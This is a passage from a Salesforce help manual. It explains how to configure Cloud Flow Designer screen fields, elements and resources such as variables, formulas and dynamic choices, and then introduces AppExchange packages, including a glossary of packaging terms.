letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
5. Optionally, change the Value DataType.
6. Select the Required checkbox to make the field required.
7. Use the Default Value field after youve created all your choice options in the Choice Settings section to set one to be
to pre-selected by default.
8. Use the Choice Settings section to configure the choice options.
a. Click the arrow button on the Choice field to create a new choice option or select an existing one.
b. To create a new choice, select CREATE NEW > Choice. See Adding and Configuring a Choice on page 1928.
c. To create a new dynamic choice, select CREATE NEW > Dynamic Choice. Use a dynamic choice to create a lookup
to automatically populate the choice options during runtime. See Adding and Configuring a Dynamic Choice on page
1930.
d. Click Add Choice to add another choice option.
e. Click

to remove a choice.

Note: Once created, the only way you can edit a choice or dynamic choice is by double-clicking it from the Explorer
tab.
9. To provide flow users with help for the field:
a. Click the arrow to expand the Help Text section.
b. Enter the text that you want flow users to see when they click next to the field.
c. Click to switch between the plain text editor and the rich text editor.
If you use the rich text editor, the content is saved as HTML.
10. Click OK.

1919

Create

Flow Designer Elements

Note: You can't rearrange choice list items.

See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer

Configuring Output Fields on the Screen Element's Field Settings Tab


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

The Screen element overlay in the Flow Designer has three tabs: General Info, Add a Field, and Field Settings.
On the Field Settings tab, configure the field you've added to the form by clicking it in the right-hand preview pane of the
overlay. The options available on the Field Settings tab vary based on which type of field you're configuring. Heres how to
set up a Display Text field on a Screen overlay.
1. In the Screen overlays preview pane, click the Display Text field to configure its settings.
2. Enter a Unique Name. A unique name is limited to underscores and alphanumeric characters. It must be unique, begin
with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
3. Enter the text you want to display to the flow user. For example, you could use a display text field to show flow users a
welcome message, a terms and conditions statement, or a description of a product or service.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is saved
as HTML.
4. Click OK.

See Also:
Configuring the Screen Element's Field Settings Tab
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer

1920

Create

Flow Designer Elements

Adding and Configuring a Step Element


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Step element as a placeholder when you're not sure what kind of element you need. Using Step elements, you can
sketch out a draft of any new flow or make conceptual changes to an existing flow.
To add or edit a Step element in the Flow Designer:
1.
2.
3.
4.
5.

Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
From the Palette, drag the Step element into the main area of the canvas.
Enter a name for the Step.
If you havent already added a description, click Add Description to do so.
Click OK to accept your changes or Cancel to discard them.

Steps aren't valid elements for active flows. You can have a draft flow with Steps in it and can run it in the draft state as an
administrator, but you must replace the Steps with other elements before you can activate the flow and let users run it.
Converting a Step into a Screen
You can convert a Step into a Screen element at any time by hovering your mouse over it and clicking

Things to note about converting Step elements:

Upon conversion, a Step's incoming connectors are preserved, but any outgoing connectors assigned to it are deleted.
After conversion, you can no longer use the Step's original unique name.

See Also:
Adding and Configuring a Screen Element
Flow Designer Elements
About the Flow Designer

1921

Create

Managing Flow Designer Elements

Managing Flow Designer Elements


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Adding, Editing, and Removing Elements


To add an element to the Designer main canvas, drag and drop it from the Palette in the left sidebar. To edit an element,
double-click it in the main canvas, or hover your mouse over it and click . To remove an element, hover your mouse over it
and click . Alternately, you can remove elements and connectors by selecting them and hitting the DELETE key.
Setting a Start Element
To set the starting element in your flow, hover your mouse over an element on the canvas and click . You can set any one
element on the canvas as the starting element. If you don't set a start element, you get a warning after saving your flow.

See Also:
Flow Designer Elements
About the Flow Designer

Flow Designer Resources


Available in: Enterprise, Unlimited, and Developer Editions

Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your flow.
For example, if a user inputs the cost of a meal in a tip calculator flow, you can store that value as a constant and use it with
a formula to calculate optimum tip amount based on what service level the user chooses later in the flow.
Resources are non-visual elements. They won't show up on your canvas and can't be added to it. If you need to edit or delete
resources youve created, you can find them on the Explorer tab.
The following resources are available in the Cloud Flow Designer:

Constant
Variable
Formula
Text Template
Choice
Dynamic Choice
Global Constants

1922

Create

Flow Designer Resources

Though they dont appear on the Resources tab, global constants are considered to be resources. Global constants have
fixed values, while the other resources can be created and customized as needed.
Note: Every time you add an element or resource to a flow, it's also added to the Explorer Tab.

See Also:
About the Flow Designer

Adding and Configuring a Constant


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

In order to assign constants to your flow using the Assignment element, you first need to create them. The Constant resource
allows you to a define a fixed value that can be used throughout your flow. Every time you create a new constant, it is added
to the Explorer tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Constant.
3. Enter a Unique Name for the constant.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows. A unique name is limited to underscores
and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4.
5.
6.
7.

Enter a description.
Set the Data Type for the constant.
Enter a value for the constant. When entering a date value, you must use the MM/DD/YYYY format.
Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources
Adding and Configuring an Assignment Element
About the Flow Designer

1923

Create

Flow Designer Resources

Adding and Configuring a Formula


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Formula resource to calculate a value using numeric elements in your flow. Every time you create a new formula, its
added to the Explorer tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Formula.
3. Enter a Unique Name for the formula.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows.A unique name is limited to underscores and
alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. Enter a description.
5. If needed, set the Scale for the formula. The scale is the maximum number of digits allowed to the right of the decimal
point. This number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are displayed when
your flow runs.
6. Enter your formula. Use the arrowhead to select resources from your flow. Use the CREATE NEW section of the
drop-down list to create new resources, if necessary. See the Formulas Quick Reference Guide for a complete list of formula
operators and functions supported in Salesforce.
Note: Some formula operators are not supported in the Cloud Flow Designer and will result in your formula
returning a null value. See About Formulas in Flows for the complete list.
7. Click OK to accept your changes or Cancel to discard them.

See Also:
Flow Designer Resources
About the Flow Designer

About Formulas in Flows


Available in: Enterprise, Unlimited, and Developer Editions

You can use standard Salesforce formula syntax in two places within a flow:

1924

Create

Flow Designer Resources

In a Formula resource
In a Screen element, specifically to validate user input for a field

The Formula Resource


The Formula resource calculates a numeric value using functions and elements in your flow. Consider the following when
creating a Formula resource.

You can use pure text functions in your formula, but the formula output must be numeric. Any formula that doesn't resolve
to a number or that contains an unsupported function returns null.
If you display the result of an invalid formula to a user using a Display Text element, the formula result is displayed as an
empty string and the user sees nothing.
You can't activate a flow that contains an invalid formula.

Formulas in Validation Rules


You can use formulas in validation rules to validate a flow user's input by selecting the Validate checkbox when configuring
an input field on a Screen element.

The formula expression must return a Boolean value.


If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE, the error
message is displayed to the user.
If the user leaves the field blank, and the field is not required, no validation is performed.

Flow Formula Limitations

Your formula can't contain more than 3,000 characters.


Formulas in the Cloud Flow Designer don't support the following functions. Using these functions results in your formula
returning null.

GETRECORDIDS
IMAGE
INCLUDE
INCLUDES
ISCHANGED
ISNEW
ISPICKVAL
PARENTGROUPVAL
PREVGROUPVAL
PRIORVALUE
REQUIRE SCRIPT
VLOOKUP

To learn more about how formulas work in Salesforce, see About Formulas on page 1114.

1925

Create

Flow Designer Resources

Adding and Configuring a Text Template


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

Use the Text Template resource to create text to use in your flow. For example, if you have a flow that registers people for an
event, you could create a text template that includes a registrant's name, address, and other information, then use the template
in an email confirmation sent out when the flow finishes. Every time you create a new text template, it is added to the Explorer
tab by its unique name.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Text Template.
3. Enter a Unique Name.
Note: The requirement for uniqueness applies only to elements within the current flow. You can have two elements
with the same unique name, provided they are used in different flows.A unique name is limited to underscores and
alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore,
and not contain two consecutive underscores.
4. Enter a description.
5. In the text box, type the text for your template. Use the Select resource drop-down to insert content from your flow
(variables, constants, user input, and so on), or type it manually. Use the CREATE NEW section of the drop-down list
to create new resources, if necessary.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content is saved
as HTML.
6. Click OK.

See Also:
Flow Designer Resources
About the Flow Designer

1926

Create

Flow Designer Resources

Adding and Configuring a Variable


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

In order to assign variables to your flow using the Assignment element, you have to first create them. The Variable resource
allows you to create updatable values to use in your flow. Every time you create a new variable, an item representing that
variable is added to the Explorer tab.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. From the Resources tab, double-click Variable.
3. Fill out the fields.
Field

Description

Unique Name

The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.

Description

Helps you determine when to assign or use this variable as you set up your flows.
The description appears in the Description pane when the variable is selected in the Explorer
tab. Depending on the Input/Output Type, the variables description may be viewed
from another flows subflow element.

Data Type

Determines the types of values that can be assigned to the variable.

Scale

Appears only when the Data Type is set to Number or Currency.


The scale is the maximum number of digits allowed to the right of the decimal point. This
number can't exceed 17. If you leave this field blank or set to zero, only whole numbers are
displayed when your flow runs.

Input/Output Type

Determines whether the variable can be accessed outside the flow.


PrivateVariable can be assigned and used only within the flow.
InputVariable can be set at the start of the flow using URL parameters, Visualforce
controllers, or subflow inputs.
OutputVariables value can be accessed from Visualforce controllers and other flows.
This field doesnt affect how variables are assigned or used within the same flow, for example,
through these types of elements: Assignment, Record Create, Record Lookup, and Apex
Plug-in.

1927

Create

Flow Designer Resources

The default value of the field depends on the release or API version in which the variable
is created:

Private for a variable created in Summer 12 and later or in API version 25.0 and later.
Input and Output for a variable created in Spring 12 and earlier or in API version

24.0.
Caution: Disabling input or output access for an existing variable may impact the
functionality of applications and pages that call the flow and access the variable via
URL parameters, Visualforce controllers, and subflows.
Default Value

Enter a default value for the variable, or use the drop-down list to assign the value of a flow
resource as the default. Use the CREATE NEW section of the drop-down list to create
new resources, if necessary. If you leave this field blank, the variable value is set to null.
When entering a date value, you must use the MM/DD/YYYY format.

4. Click OK to accept your changes or Cancel to discard them.


You can delete a variable at any time. Any variable assignments and allocations using the deleted variable will be set to null.

See Also:
Flow Designer Resources
Adding and Configuring an Assignment Element
About the Flow Designer
About Subflows
Adding a Flow to a Visualforce Page
Putting Flows to Work

Adding and Configuring a Choice


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

A Choice resource is a standalone choice option that you can reference or reuse throughout your flow. For example, if you
have a flow asking users to choose a particular service level, you could create separate choice options for Gold, Silver, and
Bronze. Each one becomes a unique choice resource on the Explorer tab. You could then set up a Screen later on in the flow
with a display text field that includes the choice resource with a description of the features included.
You can create a choice resource in two ways:

From the Resources tabDouble-click Choice in the resources list.


From anywhere the CREATE NEW drop-down list option is available.

1928

Create

Flow Designer Resources

On the Choice overlay:


1. Enter a label for the choice field.
2. If you want to use the rich text editor to format your field label, click the rich text editor icon ( ) to the right of the Label
field.
a. Once youre done editing the text, click OK. The Label field display changes to indicate that it is now a rich text field.

b. Click Edit to make changes to your label text.


c. Click Clear to completely clear the Label field and start over.
3.
4.
5.
6.

If necessary, customize the Unique Name.


If you havent already added a description, click Add Description to do so.
Set the choices Value Data Type.
If desired, fill in a Stored Value.
If a user leaves a choice blank or unselected, its stored value is set to null.

7. Select the Show input on selection checkbox to have a user input field appear below the choice option. This option
isnt available if the choices data type is Boolean.
a. Enter a label for the user input field.
b. Select the Required checkbox to make the user input field required.
c. In the Input Validation section, create a formula expression to validate the user input for the field.
i. Select Validate.
ii. Enter a formula expression to define the values allowed for the field.
iii. Customize the error message that will be displayed to the flow user if the input fails validation.
Click to switch between the plain text editor and the rich text editor. If you use the rich text editor, the content
is saved as HTML.
Note:

If the formula statement evaluates to TRUE, the input is valid. If the formula statement evaluates to FALSE,
the error message is displayed to the user.
If the user leaves the field blank, and the field is not required, no validation is performed.

8. Click OK.
After you create a choice, it shows up on the Explorer tab, where you can edit it as needed.

See Also:
Flow Designer Resources
About the Flow Designer

1929

Create

Flow Designer Resources

Adding and Configuring a Dynamic Choice


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To open, edit, or create a flow in the Cloud Flow Designer

Manage Force.com Flow

A dynamic choice looks up data from an objects records and dynamically generates a set of choices at runtime. Throughout
your flow, you can reuse a Dynamic Choice resource for choice fields, and you can reference the stored value of a Dynamic
Choice resource. The stored value is determined by the most recent user selection of a choice within the generated set.
As an example, let's say you're setting up a flow for all employees of Acme Inc. and need them to identify which Acme division
they work in. Instead of manually entering each division name as a separate radio button, you could set up the dynamic choice
to look up all instances where Acme appears in the division name. Then, when the employees step through the flow, they
can select from a dynamically generated list of all division names containing Acme.
1. Go to Your Name > Setup > Create > Workflow & Approvals > Flows and open a new or existing flow.
2. Create a dynamic choice using one of the following methods:

From the Resources tab, double-click Dynamic Choice.


From the Screen overlay, add or select a choice field (radio buttons or drop-down list) in the preview pane. In the
Choice Settings for that field, select CREATE NEW > Dynamic Choice
From any resource-selecting drop-down list, select CREATE NEW > Dynamic Choice.

3. Enter the general settings for the choice.


Field

Description

Unique Name

The requirement for uniqueness applies only to elements within the current flow. You can
have two elements with the same unique name, provided they are used in different flows.
A unique name is limited to underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an underscore, and not contain two
consecutive underscores.

Description

Appears after you click Add Description.

Value Data Type

Data type of the choices stored value.

4. Select the object whose records contain the data for the generated choices.
5. Specify the filter criteria for retrieving records from the database.
Click Add Row to enter more filters. Click

to remove a row.

Column Header

Description

Field

Field for filtering records.

1930

Create

Flow Designer Resources

Column Header

Description

Operator

The available filter operators depend on the data type selected for the Field and Value.

Value

The Field and Value in the same row must have the same data type.
Options:

Select an existing flow resource, such as a variable, constant, or user input.


Select CREATE NEW to create a new flow resource.
Manually enter a literal value or merge field.
If you manually enter a date, you must use the MM/DD/YYYY format.

If you remove all filter rows, all records of the selected object are retrieved and a choice is generated for each record.
6. Select the records fields whose values you want to use in the generated choices.
Field

Description

Choice Label

Records field whose value appears as the choice label at runtime.


Make sure to choose a field that contains data. Otherwise, users see blank generated choices
at runtime.

Choice Stored Value

Records field whose value is stored when the user selects this choice at runtime.
The available options depend on the Value Data Type of the Dynamic Choice resource.
If you dont fill out this field, the stored value is set to null.

For example, let's say you're setting up a support flow for a computer hardware manufacturer, and you want to let users
identify a product to find its latest drivers. You could set up a dynamic choice that displays all products whose product ID
starts with a specific string of characters. However, since the flow users are more likely to know the product's name than
its ID, you would select a field containing the product name for the Choice Label.
7. To sort the generated choices:
a. Select Sort results by.
b. Select the records field to sort by. Only sortable fields appear in the drop-down list.
c. Select the sort order, either ascending or descending.
8. To limit the number of generated choices:
a. Select Limit number of choices to.
b. Enter the maximum number of choices (up to 200) to include in the generated set.
9. Set up field assignments that occur at runtime when the user selects a choice from the generated set. Use flow variables to
store field values from the record associated with the user-selected choice.
Click Add Row to enter more field assignments. Click

to remove a row.

1931

Create

Flow Designer Resources

Column Header

Description

Field

Records field whose value you want to assign to a variable.

Variable

Select an existing flow variable, or select CREATE NEW to create a new variable.

Lets return to our example where the flow user selects a product name from the generated set of choices. If, elsewhere in
the flow, you want to refer to or display the associated product ID and product description, you would assign flow variables
to store the relevant field values from the user-selected record.
10. Click OK.
After you create a dynamic choice, it shows up on the Explorer tab, where you can edit it as needed.

See Also:
Adding and Configuring a Screen Element
Flow Designer Resources
About the Flow Designer

About Global Constants in the Cloud Flow Designer


Available in: Enterprise, Unlimited, and Developer Editions

In any value or resource drop-down list in the Cloud Flow Designer, you may see a section called GLOBAL CONSTANT.
Global constants are system values that, depending on the context of the drop-down list, let you assign EmptyString, True,
or False as the value for that field.

For example, when creating a variable of type Boolean, if you click on the arrow button to the right of the Default Value
field and expand the GLOBAL CONSTANT section, youll see $GlobalConstant.True and $GlobalConstant.False.
However, when creating a variable of type Currency, the GLOBAL CONSTANT section isnt available. Visibility of this
section depends on the data type of the resource youre working with.
The global constants possible are:

{!$GlobalConstant.EmptyString}available for resources of type Text


{!$GlobalConstant.True}available for resources of type Boolean

1932

Create

Running Flows

{!$GlobalConstant.False}available for resources of type Boolean

See Also:
Flow Designer Resources

Running Flows
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a flow:

View Setup and Configuration

To run a flow as a user directly from the flow URL, or from Run Flows
a custom Web tab, link, or button pointing to the flow URL:
OR
Force.com Flow User field enabled on the user detail page

To run a flow from the flow detail page, list page, or from
Manage Force.com Flow
within the Cloud Flow Designer, or to run an inactive flow:

Flows are a collection of scripted screens that you can step through to collect and update data. For example, as a support
representative in a call center, you can use flows to capture information as you help troubleshoot customer issues. Or as a
salesperson, you can use flows to generate real-time quotes. You can even use flows to manipulate your organization's data in
new ways.
Depending on how flows are set up in your organization, you can run them directly from the flow URL in your browser, or
from a custom Web tab, link, or button pointing to the URL.
If your administrator hasn't defined custom Web tabs, links, or buttons for flows, you can find the direct flow URL by going
to Your Name > Setup > Create > Workflow & Approvals > Flows and clicking on the name of the flow you want to run.
Consider the following when running flows:

Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.

Flow administrators can also run flows directly from the flow detail page.

See Also:
About Visual Workflow
Putting Flows to Work

1933

Create

Visual Workflow Considerations

Visual Workflow Considerations


Available in: Enterprise, Unlimited, and Developer Editions

When creating, managing, and running flows, consider the permissions, use limits, and data issues.
The Cloud Flow Designer

Be careful when testing flows that contain Record Delete elements. Even if the flow is inactive, running it will trigger the
delete operation.
When entering a date value, you must use the MM/DD/YYYY format.
The Flow Designer doesn't support UTF-8 encoding for text in user input fields.
The Flow Designer uses the permissions and locale assigned to the current user.
The Cloud Flow Designer contains embedded fonts for all locales it supports. The supported locales are:

English (US)
French (France)
German (Germany)
Spanish (Spain)
Japanese (Japan)
Chinese (Traditional)
Chinese (Simplified)

If you enter unsupported characters for a supported locale, theyre displayed using system fonts instead of the embedded
fonts.
In unsupported locales, your system font settings are used to display all characters in the Cloud Flow Designer.

If the Cloud Flow Designer doesn't show a custom object or field that was recently created, close and reopen it.
If a user leaves a choice blank or unselected, its stored value is set to null.
If you have the same choice option used in more than one place on different screens in your flow, a was selected query on
that choice option will always resolve to the most recent one.
If you have the same choice option with a user input used in more than one place on the same screen, a was selected query
on that choice option will always resolve to the first one.
Dont enter the string null as the value of a text field in the Cloud Flow Designer. If you do this, you may not be able
to save the flow.
The Cloud Flow Designer cant open flows installed from managed packages.
If you open a flow from Winter 12, any Boolean decision it contains is converted to a multi-outcome Decision element
that:
Uses the same name as the old decision.
Takes the unique name of the old decision, appended with _switch.
Has an outcome labeled True. This outcomes unique name matches that of the old decision, and its conditions are
migrated from the True outcome of the old decision.
Has a default outcome labeled False.

1934

Create

Visual Workflow Accessibility Overview

Flow Administration

Only files with the .flow extension can be uploaded into Salesforce. To convert .spark files into .flow files, download
the latest version of the Flow Designer from the flow list page, open your file, and save it with the .flow extension.
Note: Desktop Flow Designer files with the .flow extension are different from and are incompatible with the
.flow files that are generated by the Metadata API for flows created from the Cloud Flow Designer.

If you exceed your organization's site usage limits or Visualforce usage limits, you can't run flows.
Once you edit the name and description of your flow in Salesforce, those fields no longer automatically update when you
upload or activate a new version.
When you activate a new version of a flow, the previously activated version (if one exists) is automatically deactivated. Flow
processes currently running continue to run using the version with which they were initiated.
You cant delete an active flow. Once deactivated, you must wait 12 hours to delete a flow or flow version. This ensures
that flows in progress have time to complete. Flows that have never been activated can be deleted immediately.

Flow Runtime

Don't use your browser's Back or Forward buttons to navigate through a flow. This may result in inconsistent data between
the flow and Salesforce.
A single flow may have up to 50 different versions. When you run a flow, you see the active version, which may not
necessarily be the latest version.

See Also:
About the Flow Designer

Visual Workflow Accessibility Overview


Available in: Enterprise, Unlimited, and Developer Editions

Visual Workflow is 508-compliant with the following exceptions:

Clicking the next or previous buttons doesn't change the title of the screen, so you may not realize you're on a new page.
There are no labels on radio buttons. Screen readers can't distinguish between questions.
Questions without defined prompts may not read correctly.
Errors are not noted when reading the fields.

Visual Workflow Terminology


Available in: Enterprise, Unlimited, and Developer Editions

The following terminology is used for Visual Workflow in Salesforce:

1935

Create

Visual Workflow Terminology

Element
Elements are the building blocks of flows. Each element represents an action, such as presenting information to, or
collecting information from, flow users, or even querying, creating, updating, and deleting information in Salesforce. By
connecting elements together in the Flow Designer, you can create a flow, which is a series of screens, inputs, and outputs
through which users navigate.
Flow
A flow starts out as a process or decision diagram created in the Flow Designer. Once uploaded and run in Salesforce,
it becomes an application for navigating users through a series of screens.
Cloud Flow Designer
Cloud-based application that lets administrators create a flow for use in Salesforce.
Desktop Flow Designer
Desktop application that allows administrators to create a flow for use in Salesforce.
Master Flow
A master flow is a flow that contains a subflow element. The term master is used to distinguish it from the flow that
is referenced and called by the subflow element.
Resource
Resources, such as variables, constants, or formulas, allow you to store or manipulate data and use it throughout your
flow.
Subflow
A subflow element references another flow, which it calls at runtime. The flow that contains the subflow element is
referred to as the master flow.

See Also:
About the Flow Designer
About Visual Workflow

1936

Packages

Overview of Packages

PACKAGES
Overview of Packages
Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create packages:

Create AppExchange Packages

To upload packages to the AppExchange:

Upload AppExchange Packages

A package is a container for something as small as an individual component or as large as a set of related apps. After creating
a package, you can distribute it to other Salesforce users and organizations, including those outside your company.
Packages come in two formsunmanaged and managed:
Unmanaged packages
Unmanaged packages are typically used to distribute open-source projects or application templates to provide developers
with the basic building blocks for an application. Once the components are installed from an unmanaged package, the
components can be edited in the organization they are installed in. The developer who created and uploaded the
unmanaged package has no control over the installed components, and can't change or upgrade them. Unmanaged
packages should not be used to migrate components from a sandbox to production organization. Instead, see Change
Sets on page 2212.
Managed packages
Managed packages are typically used by salesforce.com partners to distribute and sell applications to customers. These
packages must be created from a Developer Edition organization. Using the AppExchange and the License Management
Application (LMA), developers can sell and manage user-based licenses to the app. Managed packages are also fully
upgradeable. To ensure seamless upgrades, certain destructive changes, like removing objects or fields, can not be
performed.
Managed packages also offer the following benefits:

Intellectual property protection for Apex


Built-in versioning support for API accessible components
Remote access support (OAuth)
The ability to branch and patch a previous version
The ability to seamlessly push patch updates to subscribers
Unique naming of all components to ensure conflict-free installs

The following definitions illustrate these concepts:

1937

Create

Glossary

Figure 15: Unmanaged and Managed Packages


Components
A component is one constituent part of a package. It defines an item, such as a custom object or a custom field. You can
combine components in a package to produce powerful features or applications. In an unmanaged package, components
are not upgradeable. In a managed package, some components can be upgraded while others cannot.
Attributes
An attribute is a field on a component, such as the name of an email template or the Allow Reports checkbox on a
custom object. On a non-upgradeable component in either an unmanaged or managed package, attributes are editable
by both the developer (the one who created the package) and the subscriber (the one who installed the package). On an
upgradeable component in a managed package, some attributes can be edited by the developer, some can be edited by
the subscriber, and some are locked, meaning they cannot be edited by either the developer or subscriber.
For information on which components can be included in a package and which attributes are editable for each component,
see the Force.com Quick Reference for Developing Packages.
Packages consist of one or more Salesforce components, which, in turn, consist of one or more attributes. Components and
their attributes behave differently in managed and unmanaged packages.
If you plan to distribute an app, it is important to consider packaging throughout the development process. For example:

While creating your app, consider how components and their attributes behave in different packages and Salesforce editions.
While preparing your app for distribution, consider how you want to release it to your customers.
While installing a package, consider your organization's security and license agreements.

It is also helpful to familiarize yourself with general packaging information, such as:

Package Distribution FAQs


Glossary

See Also:
Managing Packages
Preparing Your Apps for Distribution

Glossary
The following terms and definitions describe key application and packaging concepts and capabilities:
App
Short for application. A collection of components such as tabs, reports, dashboards, and Visualforce pages that address
a specific business need. Salesforce provides standard apps such as Sales and Call Center. You can customize the standard

1938

Create

Glossary

apps to match the way you work. In addition, you can package an app and upload it to the AppExchange along with
related components such as custom fields, custom tabs, and custom objects. Then, you can make the app available to
other Salesforce users from the AppExchange.
AppExchange
The AppExchange is a sharing interface from salesforce.com that allows you to browse and share apps and services for
the Force.com platform.
Beta, Managed Package
In the context of managed packages, a beta managed package is an early version of a managed package distributed to a
sampling of your intended audience to test it.
Deploy
To move functionality from an inactive state to active. For example, when developing new features in the Salesforce user
interface, you must select the Deployed option to make the functionality visible to other users.
The process by which an application or other functionality is moved from development to production.
To move metadata components from a local file system to a Salesforce organization.
For installed apps, deployment makes any custom objects in the app available to users in your organization. Before a
custom object is deployed, it is only available to administrators and any users with the Customize Application permission.
License Management Application (LMA)
A free AppExchange app that allows you to track sales leads and accounts for every user who downloads your managed
package (app) from the AppExchange.
License Management Organization (LMO)
The Salesforce organization that you use to track all the Salesforce users who install your package. A license management
organization must have the License Management Application (LMA) installed. It automatically receives notification
every time your package is installed or uninstalled so that you can easily notify users of upgrades. You can specify any
Enterprise, Unlimited, or Developer Edition organization as your license management organization. For more information,
go to http://www.salesforce.com/docs/en/lma/index.htm.
Major Release
A significant release of a package. During these releases, the major and minor numbers of a package version increase to
any chosen value.
Managed Package
A collection of application components that is posted as a unit on the AppExchange and associated with a namespace
and possibly a License Management Organization. To support upgrades, a package must be managed. An organization
can create a single managed package that can be downloaded and installed by many different organizations. Managed
packages differ from unmanaged packages by having some locked components, allowing the managed package to be
upgraded later. Unmanaged packages do not include locked components and cannot be upgraded. In addition, managed
packages obfuscate certain components (like Apex) on subscribing organizations to protect the intellectual property of
the developer.
Managed Package Extension
Any package, component, or set of components that adds to the functionality of a managed package. You cannot install
an extension before installing its managed package.

1939

Create

Glossary

Namespace Prefix
In a packaging context, a namespace prefix is a one to 15-character alphanumeric identifier that distinguishes your
package and its contents from packages of other developers on AppExchange. Namespace prefixes are case-insensitive.
For example, ABC and abc are not recognized as unique. Your namespace prefix must be globally unique across all
Salesforce organizations. It keeps your managed package under your control exclusively.
Package
A group of Force.com components and applications that are made available to other organizations through the
AppExchange. You use packages to bundle an app along with any related components so that you can upload them to
AppExchange together.
Package Dependency
This is created when one component references another component, permission, or preference that is required for the
component to be valid. Components can include but are not limited to:

Standard or custom fields


Standard or custom objects
Visualforce pages
Apex code

Permissions and preferences can include but are not limited to:

Divisions
Multicurrency
Record types

Package Installation
Installation incorporates the contents of a package into your Salesforce organization. A package on the AppExchange
can include an app, a component, or a combination of the two. After you install a package, you may need to deploy
components in the package to make it generally available to the users in your organization.
Package Version
A package version is a number that identifies the set of components uploaded in a package. The version number has the
format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor numbers increase to
a chosen value during every major release. The patchNumber is generated and updated only for a patch release.
Unmanaged packages are not upgradeable, so each package version is simply a set of components for distribution. A
package version has more significance for managed packages. Packages can exhibit different behavior for different versions.
Publishers can use package versions to evolve the components in their managed packages gracefully by releasing subsequent
package versions without breaking existing customer integrations using the package. See also Patch and Patch Development
Organization.
Patch
A patch enables a developer to change the functionality of existing components in a managed package, while ensuring
subscribing organizations that there are no visible behavior changes to the package. For example, you can add new
variables or change the body of an Apex class, but you may not add, deprecate, or remove any of its methods. Patches
are tracked by a patchNumber appended to every package version. See also Patch Development Organization and
Package Version.

1940

Create

Glossary

Patch Development Organization


The organization where patch versions are developed, maintained, and uploaded. Patch development organizations are
created automatically for a developer organization when they request to create a patch. See also Patch and Package
Version.
Patch Release
A minor upgrade to a managed package. During these releases, the patch number of a package version increments.
Publisher
The publisher of an AppExchange listing is the Salesforce user or organization that published the listing.
Push Upgrade
A method of delivering updates that sends upgrades of an installed managed package to all organizations that have
installed the package.
Subscriber
The subscriber of a package is a Salesforce user with an installed package in their Salesforce organization.
Test Drive
A test drive is a fully functional Salesforce organization that contains an app and any sample records added by the
publisher for a particular package. It allows users on AppExchange to experience an app as a read-only user using a
familiar Salesforce interface.
Unmanaged Package
A package that cannot be upgraded or controlled by its developer.
Upgrading
Upgrading a package is the process of installing a newer version. Salesforce supports upgrades for managed packages
that are not beta.
Uploading
Uploading a package in Salesforce provides an installation URL so other users can install it. Uploading also makes your
packaged available to be published on AppExchange.

See Also:
What is an App?

1941

Create

Enabling Managed Packages for Your Organization

Enabling Managed Packages for Your Organization


Available in: Developer Edition
Package uploads and installs are available in Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To enable managed packages:

Customize Application

To create packages:

Create AppExchange packages

To upload packages:

Download AppExchange packages

Creating a managed package is just as easy as creating an unmanaged package, but it requires a few customizations in your
organization first. The only requirement for enabling your Salesforce organization to create managed packages is that you are
using a Developer Edition organization.
To enable your organization for managed packages:

Review the information about managed packages in the Force.com Quick Reference for Developing Packages before
determining if this is the right type of package for your app.
